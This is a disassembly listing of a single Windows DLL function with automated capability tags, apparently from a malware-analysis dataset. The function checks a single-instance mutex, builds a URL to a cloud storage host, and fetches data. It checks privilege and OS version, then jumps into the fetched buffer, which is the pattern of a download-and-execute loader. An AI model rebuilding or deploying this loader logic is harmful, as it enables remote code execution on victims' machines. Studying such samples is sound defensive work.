Function at 0x180006920
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x3d0
mov rdi, rcx
lea r8, str.MyUniqueProgramNameMutex
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
test rax, rax
je 0x180006960
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180006971
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x90], xmm0
xor ebx, ebx
mov qword [rsp + 0xa0], rbx
mov r9, rdi
lea r8, str.https:__fs_1324330606.cos.accelerate.myqcloud.com_
lea rdx, str._s_s
lea rcx, [rsp + 0xa8]
call qword [sym.imp.USER32.dll_wsprintfW]
nop
lea rcx, [rsp + 0x30]
call fcn.180007190
test eax, eax
jne 0x180006a0d
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1800528a8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rsp + 0x30]
call fcn.180006bb0
lea eax, [rbx + 1]
add rsp, 0x3d0
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x408], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x408]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180006b88
lea rax, [rsp + 0x400]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x3f8]
lea edx, [r9 + 0x10]
mov rcx, qword [rsp + 0x408]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x408]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x180006b88
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180006af2
lea rdx, str.RtlGetVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x180006af2
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x2b4]
call fcn.1800196e0
mov dword [rsp + 0x2b0], 0x114
lea rcx, [rsp + 0x2b0]
call rbx
test eax, eax
jne 0x180006af2
cmp dword [rsp + 0x2b4], 6
jne 0x180006af2
cmp dword [rsp + 0x2b8], 1
je 0x180006b6b
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov rdx, rdi
sub rdx, rsi
mov rax, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
sub rax, rbx
cmp rdx, rax
jbe 0x180006b26
lea rcx, [rsp + 0x78]
call fcn.18000ae70
mov rbx, qword [rsp + 0x78]
sub rdi, rsi
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.180019900
lea rax, [rdi + rbx]
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x30]
call fcn.180009ab0
call rax
lea rdx, [0x180052e08]
lea rcx, [0x18005ba10]
call fcn.1800051c0
mov rcx, rax
call fcn.180005430
nop
lea rcx, [rsp + 0x30]
call fcn.180008900
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x180006b95
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180007720
nop
lea rcx, [rsp + 0x30]
call fcn.180006bb0
xor eax, eax
add rsp, 0x3d0
pop rdi
pop rsi
pop rbx
ret